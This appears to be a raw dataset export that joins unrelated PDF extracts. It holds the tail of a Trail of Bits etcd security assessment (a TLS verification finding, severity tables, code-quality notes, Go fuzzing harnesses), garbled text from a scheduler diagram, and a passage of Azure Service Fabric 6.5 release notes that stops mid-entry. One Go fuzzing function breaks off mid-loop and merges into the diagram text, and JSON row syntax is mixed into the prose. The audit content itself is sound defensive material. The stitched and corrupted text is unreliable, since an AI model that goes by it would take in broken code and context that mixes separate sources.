\\nInsecureSkipVerify\\n \\n(\\netcdctl/ctlv3/command/global.go#L234-L238\\n\\n).\\n \\n \\n \\nExploitation Scenario\\n \\nTLSInsecureSkipVerify\\n\\n is enabled, allowing an attacker to perform Monkey-In-The-Middle\\n \\noperations without the complications of TLS verification.\\n \\n \\nRecommendation\\n \\nShort term, review configurations that use \\nInsecureSkipVerify\\n\\n. Use insecure TLS\\n \\nselectively and with caution. There are few purposes for which unverified certificates\\n \\nshould be supported.\\n \\n \\nLong term, avoid use of insecure TLS configurations altogether. Verify certificates in all\\n \\nscenarios by default.\\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 39\\n \\n A . V u l n e r a b i l i t y C l a s s i f i c a t i o n s\\n \\nVulnerability Classes\\n \\nClass\\n \\nDescription\\n \\nAccess Controls\\n \\nRelated to authorization of users and assessment of rights\\n \\nAuditing and Logging\\n \\nRelated to auditing of actions or logging of problems\\n \\nAuthentication\\n \\nRelated to the identification of users\\n \\nConfiguration\\n \\nRelated to security configurations of servers, devices or software\\n \\nCryptography\\n \\nRelated to protecting the privacy or integrity of data\\n \\nData Exposure\\n \\nRelated to unintended exposure of sensitive information\\n \\nData Validation\\n \\nRelated to improper reliance on the structure or values of data\\n \\nDenial of Service\\n \\nRelated to causing system failure\\n \\nError Reporting\\n \\nRelated to the reporting of error conditions in a secure fashion\\n \\nPatching\\n \\nRelated to keeping software up to date\\n \\nSession Management\\n \\nRelated to the identification of authenticated users\\n \\nTiming\\n \\nRelated to race conditions, locking or order of operations\\n \\nUndefined Behavior\\n \\nRelated to undefined behavior triggered by the program\\n \\n \\n \\nSeverity Categories\\n \\nSeverity\\n \\nDescription\\n \\nInformational\\n \\nThe issue does not pose an immediate risk, but is relevant to security\\n \\nbest practices or Defense in Depth\\n \\nUndetermined\\n \\nThe extent of the risk was not determined during this engagement\\n \\nLow\\n \\nThe risk is relatively small or is not a risk the customer has indicated is\\n \\nimportant\\n \\nMedium\\n \\nIndividual user’s information is at risk, exploitation would be bad for\\n \\nclient’s reputation, moderate financial impact, possible legal\\n \\nimplications for client\\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 40\\n \\n High\\n \\nLarge numbers of users, very bad for client’s reputation, or serious\\n \\nlegal or financial implications\\n \\n \\nDifficulty Levels\\n \\nDifficulty\\n \\nDescription\\n \\nUndetermined\\n \\nThe difficulty of exploit was not determined during this engagement\\n \\nLow\\n \\nCommonly exploited, public tools exist or can be scripted that exploit\\n \\nthis flaw\\n \\nMedium\\n \\nAttackers must write an exploit, or need an in-depth knowledge of a\\n \\ncomplex system\\n \\nHigh\\n \\nThe attacker must have privileged insider access to the system, may\\n \\nneed to know extremely complex technical details or must discover\\n \\nother weaknesses in order to exploit this issue\\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 41\\n \\n B . C o d e Q u a l i t y R e c o m m e n d a t i o n s\\n \\nThis appendix details etcd issues that could be improved, but do not impact the project’s\\n \\nsecurity posture. These recommendations are proposed to prevent future errors from\\n \\noccurring, and to improve the quality of future code contributions.\\n \\n \\netcdctl/ctlv2/command/exec_watch_command.go#L81-L94\\n \\nThe \\nafter-index\\n\\n configuration variable is fetched as an integer and is then casted to\\n \\nuint64\\n\\n. We recommend fetching it as \\nUint64\\n\\n.\\n \\n \\nindex = c.\\n\\nInt\\n\\n(\\n\\n\\\"after-index\\\"\\n\\n)\\n \\n// (...)\\n \\nw \\n\\n:=\\n\\n ki.\\n\\nWatcher\\n\\n(key, &client.WatcherOptions{AfterIndex: \\n\\nuint64\\n\\n(index), \\n\\nRecursive\\n\\n:\\n \\nrecursive})\\n \\n \\nclientv3/balancer/connectivity/connectivity.go#L71-L72\\n \\nThe \\nupdateVal\\n\\n in the loop shown below will have a value of \\nmath.MaxUint64\\n\\n in its first\\n \\niteration due to the \\n2*uint64(0) - 1\\n\\n calculation (which is \\n18446744073709551615\\n\\n). While\\n \\nthis is not a bug, we recommend changing the code so it won’t overflow, making it less\\n \\nconfusing for readers.\\n \\n \\nfor\\n\\n idx, state \\n\\n:=\\n\\n \\n\\nrange\\n\\n []connectivity.State{oldState, newState} {\\n \\n \\n \\nupdateVal \\n\\n:=\\n\\n \\n\\n2\\n\\n*\\n\\nuint64\\n\\n(idx) - \\n\\n1\\n\\n \\n\\n// -1 for oldState and +1 for new.\\n \\n \\nauth/simple_token.go#L223-L229\\n \\nThere are places in the codebase where a result of \\nstrconv.Atoi\\n\\n integer parsing is casted\\n \\nto \\nuint64\\n\\n. One of the examples is \\nauth/simple_token.go#L218-L235\\n\\n shown below. Those\\n \\ncases should use \\nstrconv.ParseUint\\n\\n instead to prevent accepting negative integers as\\n \\nvalid inputs.\\n \\n \\n \\nindex, err \\n\\n:=\\n\\n strconv.\\n\\nAtoi\\n\\n(splitted[\\n\\n1\\n\\n])\\n \\n \\nif\\n\\n err != \\n\\nnil\\n\\n {\\n \\n \\n \\nreturn\\n\\n \\n\\nfalse\\n \\n \\n}\\n \\n \\n \\n \\nselect\\n\\n {\\n \\n \\ncase\\n\\n \\n\\n<-\\n\\nt.\\n\\nindexWaiter\\n\\n(\\n\\nuint64\\n\\n(index)):\\n \\n \\netcdserver/api/rafthttp/http.go#L221-L222\\n \\nThe RAFT's \\nsnapshotHandler\\n\\n's \\nServeHTTP\\n\\n function sets a very large \\ndecodeLimit\\n\\n by using a\\n \\nuint64(1 << 63)\\n\\n expression. We recommend using either 1) a proper limit, or 2) the\\n \\nmath.MaxUint64\\n\\n constant (if the purpose is to set no limit).\\n \\n \\n// let snapshots be very large since they can exceed 512MB for large installations\\n \\n \\n m, err \\n\\n:=\\n\\n dec.\\n\\ndecodeLimit\\n\\n(\\n\\nuint64\\n\\n(\\n\\n1\\n\\n << \\n\\n63\\n\\n))\\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 42\\n \\n embed/config.go#L136-L140\\n and \\nembed/config.go#L594-L599\\n \\nThe \\ncfg.TickMs\\n\\n and \\ncfg.ElectionMs\\n\\n are of unsigned integer types, but they are checked\\n \\nfor being less than zero. The comparisons below should be changed to check only for their\\n \\nvalue being “equal to zero.”\\n \\n \\n// TickMs is the number of milliseconds between heartbeat ticks.\\n \\n \\n// TODO: decouple tickMs and heartbeat tick (current heartbeat tick = 1).\\n \\n \\n// make ticks a cluster wide configuration.\\n \\n \\nTickMs\\n\\n \\n\\nuint\\n\\n \\n\\n`json:\\\"heartbeat-interval\\\"`\\n \\n \\nElectionMs\\n\\n \\n\\nuint\\n\\n \\n\\n`json:\\\"election-timeout\\\"`\\n \\n \\n \\n// Below are lines 594-599\\n \\nif\\n\\n cfg.TickMs <= \\n\\n0\\n\\n {\\n \\n \\n \\nreturn\\n\\n fmt.\\n\\nErrorf\\n\\n(\\n\\n\\\"--heartbeat-interval must be >0 (set to \\n\\n%d\\n\\nms)\\\"\\n\\n, cfg.TickMs)\\n \\n \\n }\\n \\n \\nif\\n\\n cfg.ElectionMs <= \\n\\n0\\n\\n {\\n \\n \\n \\nreturn\\n\\n fmt.\\n\\nErrorf\\n\\n(\\n\\n\\\"--election-timeout must be >0 (set to \\n\\n%d\\n\\nms)\\\"\\n\\n, cfg.ElectionMs)\\n \\n \\n}\\n \\n \\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 43\\n \\n C . F u z z i n g r e s u l t s\\n \\nTrail of Bits performed fuzz testing of the etcd WAL package using both \\ngoogle/gofuzz\\n\\n and\\n \\ndvyukov/go-fuzz\\n\\n. Several potential issues were identified in the etcd WAL package,\\n \\nranging from a decoder panic (\\nTOB\\n-\\nETCD-007\\n) to a null pointer exception in a WAL struct\\n \\n(\\nTOB-ETCD-013\\n).\\n \\n \\ne t c d w a l p a c k a g e\\n \\n \\nTo test the WAL package, a corpus of valid WAL files were randomly generated with a script\\n \\nthat uses \\ngoogle/gofuzz\\n\\n \\n(\\n\\nsee Figure C.3). This corpus was then used with\\n \\ndvyukov/go-fuzz\\n\\n to perform instrumented coverage-guided fuzzing. The results show the\\n \\npresence of potential edge-cases when the WAL decoder utilizes the size information it\\n \\nparses (\\nTOB-ETCD-007\\n) and a null pointer exception (\\nTOB-ETCD-013\\n).\\n \\n \\nfunc\\n\\n \\n\\nCovFuzz\\n\\n(\\n\\ndata\\n\\n []\\n\\nbyte\\n\\n) \\n\\nint\\n\\n{\\n \\n err \\n\\n:=\\n\\n ioutil.\\n\\nWriteFile\\n\\n(testPath, data, \\n\\n0777\\n\\n)\\n \\n \\n\\ndefer\\n\\n os.\\n\\nRemove\\n\\n(testPath)\\n \\n \\n\\nif\\n\\n err != \\n\\nnil\\n\\n {\\n \\n plog.\\n\\nErrorf\\n\\n(\\n\\n\\\"could not write test file because: \\n\\n%v\\n\\n\\\"\\n\\n, err)\\n \\n \\n\\nreturn\\n\\n \\n\\n0\\n \\n }\\n \\n \\n \\n\\nvar\\n\\n err \\n\\nerror\\n \\n \\n\\nvar\\n\\n w *WAL\\n \\n \\n\\nif\\n\\n w, err = \\n\\nOpen\\n\\n(zap.\\n\\nNewExample\\n\\n(), kPathToCrash , walpb.Snapshot{}); err != \\n\\nnil\\n\\n {\\n \\n plog.\\n\\nError\\n\\n(err)\\n \\n \\n\\nreturn\\n\\n \\n\\n0\\n \\n }\\n \\n metadata, _, _, err \\n\\n:=\\n\\n w.\\n\\nReadAll\\n\\n()\\n \\n \\n\\nif\\n\\n err != \\n\\nnil\\n\\n {\\n \\n plog.\\n\\nFatalf\\n\\n(\\n\\n\\\"could not read file meta data and collect entries\\\"\\n\\n)\\n \\n \\n\\nreturn\\n\\n \\n\\n1\\n \\n }\\n \\n \\n\\nif\\n\\n !bytes.\\n\\nEqual\\n\\n(metadata, []\\n\\nbyte\\n\\n(metadataStr)) {\\n \\n plog.\\n\\nFatalf\\n\\n(\\n\\n\\\"metadata = \\n\\n%s\\n\\n, want \\n\\n%s\\n\\n\\\"\\n\\n, metadata, metadataStr)\\n \\n \\n\\nreturn\\n\\n \\n\\n1\\n \\n }\\n \\n \\n\\nreturn\\n\\n \\n\\n0\\n \\n}\\n \\nFigure C.1: Fuzzing test harness used with auto-generated corpus. The fuzzing was performed\\n \\nwith a single worker because the harness writes to and deletes a file.\\n \\n \\nFurthermore, many unit tests were translated to fuzz tests with \\ngoogle/gofuzz\\n\\n to provide\\n \\nan adequate amount of API coverage. The result of translating unit-tests produced a\\n \\nruntime panic in the \\nwal.ReadAll\\n\\n function, detailed in \\nTOB-ETCD-006\\n. During fuzzing, the\\n \\ncomplex structure of snapshots, records, hardstates, and entries were taken into account.\\n \\n \\nfunc\\n\\n \\n\\nFuzzWriteRecord\\n\\n() {\\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 44\\n \\n b \\n\\n:=\\n\\n &walpb.Record{}\\n \\n encd \\n\\n:=\\n\\n walpb.Record{}\\n \\n buf \\n\\n:=\\n\\n \\n\\nnew\\n\\n(bytes.Buffer)\\n \\n e \\n\\n:=\\n\\n \\n\\nnewEncoder\\n\\n(buf, \\n\\n0\\n\\n, \\n\\n0\\n\\n)\\n \\n complexfuzzer.\\n\\nFuzz\\n\\n(&encd)\\n \\n e.\\n\\nencode\\n\\n(&encd)\\n \\n e.\\n\\nflush\\n\\n()\\n \\n decoder \\n\\n:=\\n\\n \\n\\nnewDecoder\\n\\n(ioutil.\\n\\nNopCloser\\n\\n(buf))\\n \\n err \\n\\n:=\\n\\n decoder.\\n\\ndecode\\n\\n(b)\\n \\n \\n\\nif\\n\\n err != \\n\\nnil\\n\\n {\\n \\n plog.\\n\\nErrorf\\n\\n(\\n\\n\\\"err = \\n\\n%v\\n\\n, want nil\\\"\\n\\n, err)\\n \\n }\\n \\n \\n\\nif\\n\\n b.Type != encd.Type {\\n \\n plog.\\n\\nErrorf\\n\\n(\\n\\n\\\"type = \\n\\n%d\\n\\n, want \\n\\n%d\\n\\n\\\"\\n\\n, b.Type, encd.Type)\\n \\n }\\n \\n \\n\\nif\\n\\n !reflect.\\n\\nDeepEqual\\n\\n(b.Data, encd.Data) {\\n \\n plog.\\n\\nErrorf\\n\\n(\\n\\n\\\"data = \\n\\n%v\\n\\n, want \\n\\n%v\\n\\n\\\"\\n\\n, b.Data, encd.Data)\\n \\n }\\n \\n}\\n \\nFigure C.2: Example of unit-test converted to fuzz test. \\nTestWriteRecord\\n\\n is converted to\\n \\nFuzzWriteRecord\\n\\n.\\n \\n \\nFuzzing triggered panics in the \\nMustUnmarshal\\n\\n function in both fuzzing approaches, but\\n \\nthis was not reported as a finding because it is intended behavior.\\n \\n \\nfunc\\n\\n \\n\\nGenEntries\\n\\n(\\n\\nw\\n\\n *\\n\\nWAL\\n\\n, \\n\\nsize\\n\\n \\n\\nint\\n\\n) {\\n \\n state \\n\\n:=\\n\\n raftpb.HardState{}\\n \\n \\n\\nif\\n\\n size < \\n\\n0\\n\\n {\\n \\n size *= -\\n\\n1\\n \\n }\\n \\n plog.\\n\\nInfo\\n\\n(size)\\n \\n entries \\n\\n:=\\n\\n \\n\\nmake\\n\\n([]raftpb.Entry, size)\\n \\n \\n\\nfor\\n\\n i\\n\\n:=\\n\\n0\\n\\n; iprocess()Run!\n37%\n=1(accessed using atomic ops)\n50%\n13%YesLocal ?\nNo\nTASK_SELF_WAKING\nTASK_HEAVY(default)In I/O or signals\nMost UrgentorderScan\n5 class−based tasklet queues per thread (one accessible from remote threads)TL_URGENT\nTL_NORMAL\nTL_BULK\nTL_HEAVYSHARED"}],"string":"[\n {\n \"data\": \"Most UrgentGlobal\\ntasks\\n(locked)tasksLocal\\n(locked)timersGlobal\\ntimersLocalLocal ?\\nYes NoLocal ?\\nYes NoClass?\\npastfuturepastfuture\\nOldestnewest\\noldest\\nnewest\\noldest\\nrunqueue−depthrunqueue−depthTime−based\\nWait queues\\n− 1 global\\n− 1 per threadPriority−based\\nRun queues\\n− 1 global\\n− 1 per threadtask_wakeup() task_schedule()task_queue()\\ntasklet_wakeup() t−>process()Run!\\n37%\\n=1(accessed using atomic ops)\\n50%\\n13%YesLocal ?\\nNo\\nTASK_SELF_WAKING\\nTASK_HEAVY(default)In I/O or signals\\nMost UrgentorderScan\\n5 class−based tasklet queues per thread (one accessible from remote threads)TL_URGENT\\nTL_NORMAL\\nTL_BULK\\nTL_HEAVYSHARED\"\n }\n]"}}},{"rowIdx":39471,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"Service_Fabric_ReleaseNotes_65.pdf\",\n \"project_name\": \"Azure Service Fabric\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":" \n Microsoft Azure Service Fabric 6.5 Release Notes \nThis release includes the bug fixes and new features described in this document. This release includes runtime, SDKs , Service Fabric Tool and \nWindows Server Standalone deployments to run on -premises. \nThe following packages and versions are part of this release \nService Fabric Runtime Ubuntu 6.5.435.1 \nWindows 6.5.639.9590 \nService Fabric for Windows \nServer Service Fabric Standalone Installer Package 6.5.639.9590 \n.NET SDK Windows .NET SDK 3.4.639 \nMicrosoft.ServiceFabric 6.5.639 \nReliable Services and Reliable Actors 3.4.639 \nASP.NET Core Service Fabric integration 3.4.639 \nJava SDK Java for Linux SDK 1.0.5 \nService Fabric PowerShell and \nCLI AzureRM PowerShell Module 0.3.15 \nSFCTL 8.0.0 \nService Fabric Tooling Visual Studio Tooling 2.4.11116.1 \nEclipse Tooling 2.0.7 \n \n Contents \nMicrosoft Azure Service Fabric 6.5 Release Notes ................................ ................................ ................................ ................................ ....................... 1 \nBreaking Announcements ................................ ................................ ................................ ................................ ................................ .............................. 3 \nWhat N ew in 6.5 ................................ ................................ ................................ ................................ ................................ ................................ ............ 4 \nNew Features ................................ ................................ ................................ ................................ ................................ ................................ ............. 4 \nService Fabric Runtime ................................ ................................ ................................ ................................ ................................ ................................ .. 5 \nService Fabric .NET SDK ................................ ................................ ................................ ................................ ................................ ............................... 14 \nService Fabric PowerShell and CLI ................................ ................................ ................................ ................................ ................................ ............... 15 \nRepositories and Download Links ................................ ................................ ................................ ................................ ................................ ............... 16 \nVisual Studio 2015 Tool for Service Fabric – localized download links ................................ ................................ ................................ ................. 19 \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Breaking Announcements \n• This is the last release where we are releasing the Visual Studio tools for Service Fabric for VS 2015. Customers are \nadvised to move to VS 2019 . \n• Protecting system entities from runaway 'user' code : From this version, users can now set up resource protection \nbetween the system and user services on a node. Service Fabric will enforce these hard resource limits for user services to \nguarantee that all the non -system services on a node will never use more than the specified amount of resources. Please \nrefer to this section for configuration details . \n What New in 6.5 \nThis release includes supportability, reliability, performance improvements, new features, bug fixes and enhancements to ease cluster \nand application life cy cle management. \n New Features \n• Service Fabric Explorer will now allow you to explore the applications that you have uploaded to image store. \n• Patch Orchestration Application(POA) customers are recommended to move to released version 1.4.0 that has a lot of self -\ndiagnostic improvements. \n• EventStore Service will be enabled by default f or clusters from this release unless a customer has specifically opted out. \n• Add replica level service fabric heal th events for Stateful Services \n• Users will have better visibility into state of down seed nodes. \n• Service Fabric Application Disaster Recovery tool allows users of Service Fabric stateful services to get back live soon in case \nthe primary SF cluster encounters a disaster. The tool constantly synchronizes the data from the application running on the \nprimary cluster on the standby application on secondary using periodic backup and restore. \n• Support for .NET Core applications built from Visual Studio to be published to Linux Service Fabric cluster . \n• Azure Service Fabric CLI (sfctl) will be installed automatically from 6.5 onwards when you upgrade or create new Azure \nService Fabric Linux cluster . \n• SFCTL is installed by default on MacOS/Linux OneBox cluster . \n Service Fabric Runtime \n \nVersions IssueType Description Resolution \nUbuntu 6.5 \nWindows \n6.5 \n \n Feature Improve reliable collection replicator \nretry logic \n \n Brief desc: When there is network congestion or if secondary is slow in receiving messages, \nreplicator would still try to flood the secondary with retries . This can exacerbate the problem . \nThis feature improves the replicator retry mechanism. \nHow/When to Consume it: Feature is enabled by default \nWindows \n6.5 Bug FabricInstallerSvc no longer writes a \ndump when timing out as part of it \nretry loop starting FabricHost. Impact : Excess noise for cluster health telemetry and unnecessary network usage when Fabric is \nnot coming up. \nFix: Change logic to do silent retry . \nUbuntu 6.5 \nWindows \n6.5 Bug Made performance improvements for \nscalemin (onebox/more nodes than \nmachines) scenario cluster setup and \nreset, by avoiding unnecessary file \ncopies. Impact : SDK single machine or scalemin clusters previously had their own set of copies for \nFabric service files for legacy reasons , resulting in slow cluster setup. \nFix: This was reworked to deprecate the need for each node to have its own set of copies of \nservice files. \nGitHub link: https://github.com/Microsoft/service -fabric/issues/299 \nUbuntu 6.5 \nWindows \n6.5 Bug In container setup code for Service \nFabric runtime deployment, have \nremoved waits and retries where they \nare not necessary. Impact : Container configuration setup is behaving slowly for Service Fabric node setup & SDK \nupgrad e. \nFix: Improve granularity checking result codes for certain functional calls, to remove \nunnecessary waits. \nWindows \n6.5 Feature SDK Service Fabric runtime installer \nnow takes /force fla g to automatically \nclose conflicting processes. Brief desc: For advanced users installing the SF runtime for the SDK setup scenario using the \ncommand line, can now pass /force flag to automatically close conflicting processes during the \nupgrade. Note: This does not apply for Windows system services. \nIn addition, when not using the /force or /quiet flags, a modal dialog is presented to offer this \nfunctionality on demand , such as when installing through WebPI . \nHow/When to Consume it: Using the runtime installer exe retrieved from WebPI/direct link , \nprovide the new parameter through command line interface. \nWindows \n6.5 Feature SDK Service Fabric runtime installer \nnow takes /uninstall parameter for \neasy command -line uninstallation. Brief desc: To bring parity with functionality available in the previously deprecated MSI \ninstaller, the SF runtime installer exe now takes an /uninstall parameter. \nHow/When to Consume it: Using the runtime installer exe retrieved from WebPI/direct link, \nprovide the new parameter through command line interface. \nWindows \n6.5 Bug Fixed crash during node state \nremoval . Impact : In the cluster node removal path, i n rare case s, calling NetCloseResource would hit a \ncrash which had a risk of leaving artifacts behind during uninstall. \nFix: Fixed marshaling casting issue that led to Arithmeth ic OverflowException. \n Ubuntu 6.5 \nWindows \n6.5 \n Feature Change compose application \ndeployment to use the same workflow \nand store data structures with mesh \napplication deployment in Cluster \nManager. How/When to Consume it: \nWhen cluster upgrade to version 6.5, compose deployments old data structures will be removed \nand new data structures will be generated. Only completed compose deployments are migrated. \nTo migrate successfully, cluster upgrade ( from last 6.4 refresh release to 6.5 and 6.5 to lower \nversion) and operations on compose based applications (create/upgrade/delete) are mutually \nblocking to each other. Fabric upgrade to 6.5 will fail if there is an operation on compose \napplication not completed, and vice versa. To hav e this blocking logic, users of compose \ndeployments must upgrade to 6.4 CU7 first and then upgrade to 6.5. Cluster upgrade that not \nacross 6.5 will not be affected. \n \nThe migration of compose applications is one way. If cluster is in 6.5 and then upgraded to a \nlower cluster version such as 6.4, migrated and newly created compose applications are still \nrunning but cannot be operated in lower cluster version. It is only changed internally. There are \nno visible public API changes. This change does no t impact mesh application deployment. \nUbuntu 6.5 \nWindows \n6.5 \n Bug Accept new application upgrade if a \nprevious application rollback fails during \nupdating default services Impact : If an application rollback fails when updating default services, a new application \nupgrade on the same application will fail. \nFix: Fix to accept a new application upgrade if previous application rollback fails during \nupdating default services. \nUbuntu 6.5 Bug Service Fabric clusters on Azure can now \nbe deployed using custom DNS. Impact: Customers detailing a custom DNS server in their networking dhcpOptions would have a \ncluster fail to come up since Azure machine addresses cannot be resolved with the DNS server. \nThe workaround was to add all cluster node address entries to the machine hosts files, to act as a \nstop gap. \nHow/When to Consume it: To activate custom DNS through an ARM Azure Service Fabric \ndeployment, this configuration is required under ARM Microsoft.Network/virtualNetworks \nproperties section (/w your chosen dns ip): \n \"dhcpOptions\": { \n \"dnsServers\": [ \n \"8.8.8.8\" \n ] \n } \nUbuntu 6.5 Feature General machine bootstrap script has \nbeen provided to set up prerequisites for \nService Fabric Linux nodes for \ndeployment & upgrade scenarios Brief desc: A common machine prerequisite setup script bootstrap.sh has been made available, in \nsync for each relea se of the SF runtime deb package. This allows for a consistent and future -proof \nprerequisite setup and upgrade process for Azure and on -premises Service Fabric Linux nodes. \nIt sets up: \n1. Base environmental packages \n2. External dependency package repositories \n3. Service Fabric CLI (sfctl) \nHow/When to Consume it: Azure -deployed Service Fabric machines carry a script in the VM \nextension which is used to invoke the boo tstrap script by deriving it from the deb package. The \n helper script is called run_b ootstrap.sh and the extension package can be retrieved from link: \nhttps://go.microsoft.com/fwlink/?linkid=2092882 \nUbuntu 6.5 \n(& MacOS) Feature SFCTL is installed by default on \nMacOS /Linux dev experience cluster \ncontainer Brief desc: When creating a container using the latest Service Fabric base container \nmicrosoft/service -fabric -onebox , the setup script will bootstrap the machine with sfctl installed \nautomatically, removing the need to run separate steps to install the CLI. \nHow/When to Consume it: MacOS /Linux dev container setup for container -based local cluster : \nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -mac \nWindows \n6.5 Feature EventStore Service will be added by \ndefault to Windows clusters when \nruntime gets upgraded to a version >= \n6.5. Brief desc: When clusters get created or upgraded with versions >=6.5, the EventStore Service is \nenabled by default. If a customer wants to disable it, this can be achieved by setting the \neventStoreServiceEnabled property on the cluster resource to false (API version for cluster \nresource should be updated to 2019 -03-01). \nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -diagnostics -eventstore \nWindows \n6.5 Feature Validation should not allow users to \nspecify CPU shares without specifying \nnumber of required cores Brief desc: With new validation during application manifest registration, Service Fabric does not \nallow specifying CPU shares at a code package/container level without setting the number of \ncores that is required. Reasoning behind this is that shares are used to split CPU time between \ndifferent code packages/containers on the same machine. \nIf customer already has an application where CPU shares are specified on code package level, but \nno CPU cores on service package level, this application will work with new fabric version. \nCustomers must change the application manifest and add CPU cores on service package level to \nsuccessfully upgrade their apps with newer service fabric versions . \nWindows \n6.5 Feature Add replica -level Service Fabric Events \nto be used with Reliable Collections. Brief desc: Added replica -level Service Fabric Events for Reliable Collections . \nHow/When to Consume it: Explained in the first paragraph in: https://docs.microsoft.com/en -\nus/azure/service -fabric/service -fabric -diagnostics -event -generation -operational \nDocumentation: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -\ndiagnostics -event -generation -operational #replica -events \nWindows \n6.5 \nUbuntu 6.5 Bug Improve error reporting when a code \npackage terminates unexpectedly. Service Fabric would provide a health message that included only an error code when a Code \nPackage terminated. It was difficult for users to know why their process/container terminated and \ntake action to fix it. Service Fabric will now display a more descr iptive health message with \ngeneral debugging tips when a Code Package terminates. It will also include a link to more \nspecific debugging information for common termination error codes. \nWindows \n6.5 \nUbuntu 6.5 Bug Move sf_cns plugin to a different port. \n The sf_cns plugin runs on port 10090 (cns) and 48080 (cnm) by default. Teams are also using the \nazure cns plugin from GitHub that also runs on 10090 and 48080. Providing configuration -based \nsupport to run the sf_cns plugin on a different ports. The configuration controlling the sf_cns \nplugin ports are Hosting/SfCnsNetworkPluginCnsUrlPort (default is 10091) and \nHosting/SfCnsNetworkPluginCnmUrlPort(default is 48081). \n Windows \n6.5 \nUbuntu 6.5 \n Bug Fixed Reverse Proxy crash of malformed \nURLs requests Prior to 6.3 Reverse sf event would return 400 BadRequest, recently Reverse Proxy will crash if it \nreceives a malformed request. This behavior was fixed such that it will again return 400 even if \nthe URL is malformed. \nWindows \n6.5 \n Feature Provide option to send telemetry on API \nusage through HTTP Gateway Brief desc: API calls going through the HTTP endpoint can be collected as part of telemetry. \nInformation may contain request URL, whether the operation was successful, error message, and \nthe type of client the request came from, such as sfctl. \nHow/When to Consume it: Feature is disabled by default. Feature can be turned on in the \nDiagnostics sections of FabricSettings, with configurations CaptureTelemetry and \nTelemetryCapturePercentage. \nWindows \n6.5 \nUbuntu 6.5 Bug DeletionManager should delete \nchecksums first and fail if not able Brief Desc: DeletionManager deletes part of a code package and errors out before it's able to \nfinish (the deletion can fail on the OS side if it can't delete on of the files in the folder) . The \nchecksum remains along with part of the code package. If that ApplicationType is re -provisioned, \nthen DownloadManager will see the checksum and that the folder is still there and not overwrite \nit. SF will now try to bring up an application with a hal f-missing code package. \nFix: Fixed an issue where deleting files from a node would leave the cache in an error state \nWindows \n6.5 \nUbuntu 6.5 Bug Users can now specify a \n\"TreatContainerUnhealthyStatusAsError\" \nflag in the HealthConfig object of their \nContainerHostPolicies. Users can now specify a \"TreatContainerUnhealthyStatusAsError\" flag in the HealthConfig object \nof their ContainerHostPolicies. W hen set to true, any unhealthy statuses reported from a \ncontainer's configured HEALTHCHECK will be treated as an error in Service Fabric's health \nreports. \nWindows \n6.5Ubuntu \n6.5 Bug Fixed an issue causing externally \nterminated containers to be cleaned \nregardless of an AutoRemove policy. Brief desc: \nIf a container crashed or was terminated externally, we shouldn't remove the container. Whether \nthe container is removed should be set during activation. \n \nWindows \n6.5Ubuntu \n6.5 Bug ImageCache should clean up numbered \ntemporary files on failed download Brief Desc: Customer is reporting they're seeing a buildup of temporary download files in \nImageCache. These files are created while being downloaded with a temporary name, and then \nrenamed after download is complete. The files the customer is seei ng are slightly smaller than \ntheir code package, leading me to believe they are an artifact left due to a failed download. \nFix: Fixed an issue where temporary files were being left in the ImageCache after a failed \ndownload. \n \nWindows \n6.5 \nUbuntu 6.5 Feature Auditing f unctionality added t o REST \napi's Brief desc : Information about the http requests ( REST api’s) will be logged to a well-known \nETW channel under the SF Operational channel with keyword audit. This audit is configurable to \nturn on or off, only actions from users with admin credentials will be logged, and requests failed \ndue to authentication will be ignored. The audit will include the credentials being presented, along \nwith the request url and body. \n \n How/When to Consume it: Feature is disabled by default. Feature can be turned on in the \nDiagnostics sections of FabricSettings, by setting the configuration AuditHttpRequests to true. \n \nRemoting \nSDK 6.5 Bug Default Retry settings updated Brief desc: \nWe have changed the default retry settings for FabricTransientExceptions for Remoting from max \nto 10. Users will see FabricTransientExceptions and hence they need to handle those from this \nrelease onwards. \nWindows \n6.5 \nUbuntu 6.5 Feature New REST API to support querying \nimage store folder size. Brief desc: \nService Fabric REST API support to return folder size in ImageStore. This REST API help SF \nexplorer show folder information in ImageStore viewer tab. A user can see which folder consume \nlarge amount of space in storage and cleans up accordingly. \n/ImageStore/{contentPath}/$/FolderSize \nDocumentation : https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -\nvisualizing -your-cluster#image store -viewer \nWindows \n6.5 \nUbuntu 6.5 \n Bug Resource governance validation should \nnot allow users to specify CPU shares on \ncode package level without specifying \nthe number of required cores on service \npackage level Brief desc: \nWith new validation during application manifest registration, Service Fabric does not allow \nspecifying CPU shares a t a code package/container level without setting the number of cores that \nis required. Reasoning behind this is that shares are used to split CPU time between different code \npackages/containers on the same machine. \nIf customer already has an application where CPU shares are specified on code package level, but \nno CPU cores on service package level, this application will work with new fabric version. \nCustomers must change the application manifest and add CPU cores on service package level to \nsuccessfully upgrade their apps with newer service fabric versions. \nWindows \n6.5 Feature SF trace logs format changed to be CSV \ncompliant SF trace logs are made CSV compliant by enclosing message by double quotations after escaping \n(escape character: \") existing double quotations in the message. Custom tools developed by users \nthat have a dependency on these logs need to modify the tools accordingly. \n Example : \nPrevious trace in log file: \n2019 -5-15 01:47:48.091,Warning,1896,1756,Transport.FailedToConnect@68b5725aa0,client -\n10.0.0.11:19000/10.0.0.11:19000: error = 2147943625, failureCount=9. Filter by \n(type~Transport.St && ~\"(?i)10.0.0.11:19000\") to get listener lifecycle. Connect failure is \nexpected i f listener was never started, or listener/its process was stopped before/during \nconnecting. \nCurrent : \n2019 -5-15 01:47:48.091,Warning,1896,1756,Transport.FailedToConnect@68b5725aa0,\"client -\n10.0.0.11:19000/10.0.0.11:19000: error = 2147943625, failureCount=9. Filter by \n(type~Transport.St && ~\"\"(?i)10.0.0.11:19000\"\") to get listener lifecycle. Connect failure is \n expected if listener was never started, or listener/its process was stopped before/during \nconnecting. \nWindows 